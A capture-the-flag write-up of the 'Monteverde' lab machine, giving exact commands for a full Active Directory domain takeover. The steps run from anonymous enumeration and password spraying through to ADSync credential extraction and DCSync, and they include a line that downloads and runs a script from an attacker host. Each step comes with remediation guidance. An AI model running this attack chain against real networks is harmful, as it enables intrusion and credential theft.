jperezduerto.info
Monteverde
Windows· Medium
Summary
The MEGABANK.LOCAL domain controller (MONTEVERDE, $TARGET) was fully compromised through a chain of four misconfigurations requiring no exploitation of unpatched software. Unauthenticated LDAP and SMB null sessions handed over the complete domain user list without credentials. A spray of those usernames against themselves as passwords cracked the [REDACTED: recovered credential] service account in seconds.
That account had read access to a company-wide SMB share (users$) holding a PowerShell CliXML credential file left over from an Azure AD Connect deployment — decoding it revealed the cleartext password for mhope. A WinRM shell as mhope yielded the user flag. Mhope's membership in the Azure Admins group granted read access to the local Azure AD Connect synchronization database, from which the MSOL service account's credentials were recovered.
That account holds DCSync rights over the domain; a replication request extracted the domain Administrator's NT hash, which was cracked to recover the plaintext password. A WinRM session as domain Administrator captured the root flag — complete domain compromise, from zero credentials to full Domain Admin, with no vulnerability beyond configuration choices.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
1ReconnaissanceNetwork service enumeration (T1046)
Mapped exposed services on the domain controller
An automated port and service sweep of $TARGET identified a Windows Server 2019 domain controller for MEGABANK.LOCAL. Key services confirmed included Kerberos (88), LDAP (389 and 3268), SMB (445), and WinRM (5985). SMB fingerprinting showed null authentication was permitted and SMBv1 was absent. The presence of WinRM immediately flagged the host as a target for remote shell access once credentials were obtained.
SMB $TARGET 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) — SMB signing:True, SMBv1:None, Null Auth:True
Exact commands 2
Version and script scan on common Active Directory / domain controller ports.
nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,5985,9389 $TARGET -oN monteverde_ports.txtConfirm OS version, domain name, SMB signing status, and null-auth availability.
nxc smb $TARGET2EnumerationAnonymous LDAP enumeration and SMB null-session user enumeration (T1087.002)
Harvested the full domain user list without credentials via null sessions
Neither the LDAP service nor the SMB service required credentials for initial enumeration. An anonymous LDAP bind returned all domain user objects, and an RPC null session via rpcclient enumdomusers confirmed the same ten accounts: AAD_987d7f2f57d2, dgalanos, Guest, mhope, roleary, [REDACTED: recovered credential], smorgan, svc-ata, svc-bexec, and svc-netapp. This list became the exact wordlist used in the password spray that followed.
Nxc ldap $TARGET -u '' -p '' --users returned 10 domain accounts; rpcclient enumdomusers cross-confirmed the list
Exact commands 3
Anonymous LDAP bind — dumps all domain user accounts without credentials.
nxc ldap $TARGET -u '' -p '' --usersSMB null/guest session — confirms unauthenticated access and lists visible shares.
nxc smb $TARGET -u 'guest' -p '' --sharesRPC null session — cross-confirms the domain user list via the SAM RPC interface.
rpcclient -U "" -N $TARGET -c enumdomusersFixDisable anonymous and null-session access to LDAP and SMBHigh
WeaknessThe domain controller accepted unauthenticated LDAP binds and SMB null sessions, allowing any host on the network to enumerate the complete list of domain user accounts without supplying a single credential. This user list seeded every subsequent attack step.
FixIn Group Policy (Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options) set 'Network access: Do not allow anonymous enumeration of SAM accounts' and 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' to Enabled, and set 'Network access: Restrict anonymous access to Named Pipes and Shares' to Enabled. For LDAP, require LDAP signing and channel binding (KB4520412) and deny unauthenticated binds by setting msDS-Other-Settings DenyUnauthenticatedBind=1 via ADSI Edit on the DC. Validate with: nxc smb <dc-ip> -u '' -p '' --users (should return access denied).
3ExploitationPassword spray — username-as-password (T1110.003)
Cracked the [REDACTED: recovered credential] service account by spraying usernames as passwords
With ten domain usernames in hand, each was tested as its own password against SMB. The [REDACTED: recovered credential] service account authenticated successfully with the credential [REDACTED: recovered credential]:[REDACTED: recovered credential] — its password had never been changed from the provisioning default. This gave authenticated SMB and LDAP access to the domain and opened the door to share enumeration.
SMB $TARGET 445 MONTEVERDE [+] MEGABANK.LOCAL\[REDACTED: recovered credential]:[REDACTED: recovered credential]
Exact commands 1
Spray each username as its own password; users.txt contains the 10 harvested accounts. --no-bruteforce pairs each user with the password on the same line only.
nxc smb $TARGET -d MEGABANK.LOCAL -u users.txt -p users.txt --no-bruteforce --continue-on-successFixEnforce a password policy that blocks usernames and predictable patterns as passwordsCritical
WeaknessThe [REDACTED: recovered credential] service account's password was identical to its own username. An automated spray of every enumerated domain username as its own password cracked this account instantly, requiring no brute-force tooling and generating minimal authentication noise.
FixConfigure the Default Domain Password Policy (or a Fine-Grained Password Policy applied to service accounts) to enforce a minimum of 15 characters, complexity requirements, and a password history of at least 24. Deploy Microsoft's Azure AD Password Protection on-premises agent to enforce a banned-password list that explicitly blocks account names and keyboard patterns. Immediately audit all accounts with: nxc smb <dc-ip> -d MEGABANK.LOCAL -u users.txt -p users.txt --no-bruteforce — any hit indicates a password equal to the username. Rotate all service account passwords to randomised values managed by a PAM solution or LAPS.
4ExploitationCredential file theft from network share (T1552.001)
Pulled a cleartext credential file from an over-permissive SMB share
Authenticated as SABatchJobs, share enumeration revealed a users$ share readable by this low-privilege service account. Recursively pulling all files retrieved mhope/azure.xml — a PowerShell CliXML file (UTF-16LE encoded) serialized from a Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential object, left behind from an Azure AD Connect synchronisation setup. Decoding it with iconv exposed mhope's account password in cleartext: [REDACTED: recovered credential].
Iconv decoded azure.xml to a PSADPasswordCredential object with UserName=mhope and Password=[REDACTED: recovered credential]
Exact commands 4
List shares accessible to the spray-cracked service account.
nxc smb $TARGET -d MEGABANK.LOCAL -u $PASSWORD -p $PASSWORD --sharesRecursively download all files from the users$ share into the current directory.
smbclient //$TARGET/users$ -U "MEGABANK.LOCAL\$PASSWORD%$PASSWORD" -c 'recurse ON; prompt OFF; mget *'Identify encoding — expect UTF-16LE data stream.
file mhope/azure.xmlConvert the CliXML to readable UTF-8; the cleartext password appears in the Password field.
iconv -f UTF-16LE -t UTF-8 mhope/azure.xmlFixRestrict the users$ share to owner-only access and purge embedded credential filesCritical
WeaknessThe users$ SMB share granted read access to a low-privilege service account, exposing profile directories for all domain users. One of those directories contained an azure.xml PowerShell credential file with a domain user's plaintext password — left behind from an Azure AD Connect configuration session and never cleaned up.
FixAudit and tighten NTFS and share permissions on users$ so that each user's subdirectory is readable only by that user and Administrators — remove any domain-wide or service-account read grants. Immediately search all shares for credential-bearing files: nxc smb <dc-ip> -d MEGABANK.LOCAL -u <admin> -p <pw> -M spider_plus, then grep results for .xml, .ini, .config, id_rsa, .pfx patterns. Delete any credential files found and rotate the passwords of affected accounts. Treat all CliXML PSCredential files as secrets equivalent to plaintext passwords.
5FootholdValid account — remote services WinRM (T1021.006)
Logged in as mhope via WinRM and captured the user flag
The cleartext password recovered from azure.xml was valid for mhope's active domain account. WinRM on port 5985 accepted the credential and returned the Pwn3d! Banner, confirming an interactive PowerShell session was available. Evil-winrm provided a full shell; the user flag was read directly from mhope's Desktop.
WINRM $TARGET 5985 MONTEVERDE [+] MEGABANK.LOCAL\mhope:[REDACTED: recovered credential] (Pwn3d!)
Exact commands 3
Confirm WinRM access returns Pwn3d! Before opening an interactive session.
nxc winrm $TARGET -d MEGABANK.LOCAL -u mhope -p '$PASSWORD2'Open an interactive PowerShell session as mhope.
evil-winrm -i $TARGET -u mhope -p '$PASSWORD2'Read the user flag from within the evil-winrm session; value: <user.txt>.
Get-Content C:\Users\mhope\Desktop\user.txt6Privilege EscalationAzure AD Connect credential extraction — ADSync database (T1555 / credential access)
Extracted the MSOL synchronisation account's credentials from the ADSync database
Post-foothold enumeration confirmed mhope is a member of the Azure Admins group and that the Azure AD Connect (ADSync) service is running on this domain controller. Members of Azure Admins can read the local ADSync SQL LocalDB instance. That database stores the credentials for the MSOL synchronisation service account in an encrypted but locally decryptable form (protected using the machine's DPAPI keys). A published PowerShell extraction script (based on Adam Chester's ADSync research) was loaded into the mhope session and recovered the MSOL account's cleartext password. The MSOL account is granted Replicating Directory Changes and Replicating Directory Changes All rights over the domain by default.
Get-Service ADSync returned Running; whoami /all confirmed mhope membership in Azure Admins group; MSOL account cleartext password extracted from ADSync database
Exact commands 4
Inside the evil-winrm session — confirm Azure Admins group membership in the token.
whoami /allConfirm the Azure AD Connect synchronisation service is running on this host.
Get-Service ADSyncOn my machine — serve the ADSync credential extraction script.
python3 -m http.server 80Inside evil-winrm — download and execute the ADSync credential extractor. Replace $ATTACKER_IP. Outputs the MSOL account username and cleartext password.
IEX(New-Object Net.WebClient).DownloadString("http://$ATTACKER_IP/AdDecrypt.ps1")FixIsolate Azure AD Connect on a dedicated server and restrict ADSync database accessCritical
WeaknessAzure AD Connect was installed directly on the domain controller, and mhope's group membership (Azure Admins) granted read access to the local ADSync SQL database. That database stores the MSOL synchronisation account's credentials in a form that can be decrypted using the local machine's DPAPI keys, meaning any account that can read the database can recover a highly privileged credential.
FixMove the Azure AD Connect installation to a dedicated, hardened member server — not the domain controller — so that access to the ADSync database requires separate credentials and a separate attack path. Remove all unnecessary accounts from the Azure Admins group and enforce just-in-time access for any legitimate administrative need. After any suspected credential exposure, rotate the MSOL account password using the Azure AD Connect wizard and audit group membership for Azure Admins quarterly. Monitor ADSync database file access via Windows file-system auditing.
7Privilege EscalationOS Credential Dumping — DCSync (T1003.006)
DCSync'd the domain using the MSOL account to extract the Administrator's credentials
With the MSOL account's cleartext credentials in hand, secretsdump.py was used to perform a DCSync operation — impersonating a legitimate domain controller replication partner and requesting the Administrator account's password data directly from MEGABANK.LOCAL. This returned the Administrator's NT hash without touching the DC's disk or memory. The hash was cracked offline to recover the plaintext password [REDACTED: recovered credential], enabling full interactive logon.
Administrator plaintext credential [REDACTED: recovered credential] authenticated successfully against WinRM after DCSync extraction
Exact commands 2
DCSync the Administrator's NT hash using the MSOL account's recovered credentials. Replace MSOL_<id> and <msol_password> with the values extracted in step 6.
impacket-secretsdump "MEGABANK.LOCAL/MSOL_<id>:<msol_password>@$TARGET" -just-dc-user AdministratorOffline crack of the Administrator NT hash; alternatively use pass-the-hash directly with -H flag in evil-winrm.
hashcat -m 1000 admin_hash.txt /usr/share/wordlists/rockyou.txtFixRevoke unnecessary DCSync rights and alert on replication requests from non-DC hostsCritical
WeaknessThe MSOL synchronisation account held Replicating Directory Changes All permission over the domain. Anyone who obtained this account's credentials — as achieved here via the ADSync database — could issue a DCSync replication request and dump every domain account's NT hash, including the built-in Administrator, without ever touching the domain controller's disk or memory.
FixUse the Azure AD Connect Permissions Configuration Wizard to scope the MSOL account to only the permissions required for the configured sync features; revoke Replicating Directory Changes All if password-hash synchronisation is disabled. Monitor for DCSync abuse by alerting on Windows Security Event ID 4662 (object operation) where the object GUID matches {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} (Replicating Directory Changes All) and the originating IP is not a known domain controller. Consider a Tier-0 AD-tiering model that segments domain replication accounts from all other identity stores.
8Full ControlValid account — domain administrator (T1078.002)
Authenticated as Domain Administrator and captured the root flag
With the domain Administrator's plaintext password in hand, a WinRM session was opened directly as the built-in Administrator account. This yielded full Domain Admin rights across MEGABANK.LOCAL. The root flag was read from the Administrator's Desktop, completing the compromise from zero credentials to domain-wide control.
Nxc winrm $TARGET -u administrator -p '[REDACTED: recovered credential]' returned Pwn3d!; root.txt captured
Exact commands 3
Confirm Domain Admin WinRM access before opening a shell.
nxc winrm $TARGET -d MEGABANK.LOCAL -u administrator -p '$PASSWORD3'Open an interactive Domain Admin PowerShell session.
evil-winrm -i $TARGET -u administrator -p '$PASSWORD3'Read the root flag; value: <root.txt>.
Get-Content C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-09 07:01:34Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49666/tcp | unknown recon-sweep-discovered |
| 49673/tcp | unknown recon-sweep-discovered |
| 49674/tcp | unknown recon-sweep-discovered |
| 49676/tcp | unknown recon-sweep-discovered |
| 49696/tcp | unknown recon-sweep-discovered |